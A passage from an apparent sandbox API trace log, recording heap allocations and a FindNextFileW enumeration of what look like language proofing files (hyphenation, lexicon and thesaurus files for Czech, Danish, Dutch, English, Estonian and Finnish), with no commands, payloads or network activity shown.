(HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12d8fc0 [0084.242] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.242] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e167300, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cze.fca", cAlternateFileName="")) returned 1 [0084.242] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.243] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.243] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.243] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.243] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.243] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ee8e8 [0084.244] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12d90c8 [0084.244] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.244] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e167300, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe000, dwReserved0=0x0, dwReserved1=0x0, cFileName="cze.hyp", cAlternateFileName="")) returned 1 [0084.244] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.244] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.244] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.245] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.245] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.246] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ee908 [0084.247] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12d91d0 [0084.273] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.274] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e167300, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x127204, dwReserved0=0x0, dwReserved1=0x0, cFileName="cze108.hsp", cAlternateFileName="")) returned 1 [0084.274] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.275] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.276] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.280] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.280] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.280] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ee928 [0084.282] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12d92d8 [0084.283] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.283] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e18d460, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7fd1, dwReserved0=0x0, dwReserved1=0x0, cFileName="cze32.clx", cAlternateFileName="")) returned 1 [0084.284] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.286] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.286] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.287] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.288] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.289] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ee948 [0084.289] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12d93e0 [0084.295] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.296] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dfc43e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="dan.hyp", cAlternateFileName="")) returned 1 [0084.296] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.297] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.297] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.297] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.297] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.297] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ee968 [0084.297] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12d94e8 [0084.298] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.298] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dfc43e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7fac, dwReserved0=0x0, dwReserved1=0x0, cFileName="dan32.clx", cAlternateFileName="")) returned 1 [0084.298] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.298] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.298] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.299] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.299] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.299] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ee988 [0084.299] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12d95f0 [0084.300] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.300] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dfc43e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x74c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="dan45.lex", cAlternateFileName="")) returned 1 [0084.300] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.300] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.300] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.300] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.300] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.301] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ee9a8 [0084.301] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12d96f8 [0084.301] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.301] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dfc43e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5a800, dwReserved0=0x0, dwReserved1=0x0, cFileName="dan94.ths", cAlternateFileName="")) returned 1 [0084.301] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.302] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.302] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.302] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.302] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.302] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ee9c8 [0084.303] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12d9800 [0084.303] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.303] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dfc43e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xaf9, dwReserved0=0x0, dwReserved1=0x0, cFileName="danphon.env", cAlternateFileName="")) returned 1 [0084.303] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.303] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.303] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.304] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.304] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.304] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ee9e8 [0084.304] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12d9908 [0084.305] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.305] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dc7e5a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x51c, dwReserved0=0x0, dwReserved1=0x0, cFileName="dut.fca", cAlternateFileName="")) returned 1 [0084.305] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.305] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.305] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.306] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.306] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.306] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11eea08 [0084.306] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12d9a10 [0084.306] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.306] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dc7e5a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x11c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="dut.hyp", cAlternateFileName="")) returned 1 [0084.306] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.307] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.307] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.307] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.307] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.308] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11eea28 [0084.308] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12d9b18 [0084.308] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.308] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dc7e5a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5c06a, dwReserved0=0x0, dwReserved1=0x0, cFileName="dut102.hsp", cAlternateFileName="")) returned 1 [0084.308] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.309] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.309] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.309] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.309] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.309] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11eea48 [0084.309] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12d9c20 [0084.310] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.310] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dc7e5a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7ff4, dwReserved0=0x0, dwReserved1=0x0, cFileName="dut32.clx", cAlternateFileName="")) returned 1 [0084.310] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.310] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.310] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.311] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.311] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.311] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11eea68 [0084.311] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12d9d28 [0084.312] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.312] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dc7e5a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc3c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="dut57.ths", cAlternateFileName="")) returned 1 [0084.312] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.312] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.312] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.312] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.312] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.313] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11eea88 [0084.313] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12d9e30 [0084.313] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x7d40) returned 0x12ea380 [0084.313] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12bb0b0) returned 1 [0084.314] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.314] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7df9e280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xbc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="eng.hyp", cAlternateFileName="")) returned 1 [0084.314] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.314] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.314] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.315] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.315] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.315] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11eeaa8 [0084.315] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12d9f38 [0084.315] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.315] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7df9e280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7fe5, dwReserved0=0x0, dwReserved1=0x0, cFileName="eng32.clx", cAlternateFileName="")) returned 1 [0084.315] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.316] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.316] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7df9e280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="engphon.env", cAlternateFileName="")) returned 1 [0084.316] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e11b040, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="est.hyp", cAlternateFileName="")) returned 1 [0084.316] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e11b040, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x20f800, dwReserved0=0x0, dwReserved1=0x0, cFileName="est133.lex", cAlternateFileName="")) returned 1 [0084.316] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e11b040, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7fec, dwReserved0=0x0, dwReserved1=0x0, cFileName="est32.clx", cAlternateFileName="")) returned 1 [0084.316] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e1411a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1029, dwReserved0=0x0, dwReserved1=0x0, cFileName="estphon.env", cAlternateFileName="")) returned 1 [0084.316] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7df2be60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6800, dwReserved0=0x0, dwReserved1=0x0, cFileName="fin.hyp", cAlternateFileName="")) returned 1 [0084.316] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7df05d00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7ffa, dwReserved0=0x0, dwReserved1=0x0, cFileName="fin32.clx", cAlternateFileName="")) returned 1 [0084.316] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7df2be60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa5400, dwReserved0=0x0, dwReserved1=0x0, cFileName="fin49.lex", cAlternateFileName="")) returned 1 [0084.317] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7df2be60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xd4d, dwReserved0=0x0, dwReserved1=0x0, cFileName="finphon.env", cAlternateFileName="")) returned 1 [0084.317] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7df05d00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, 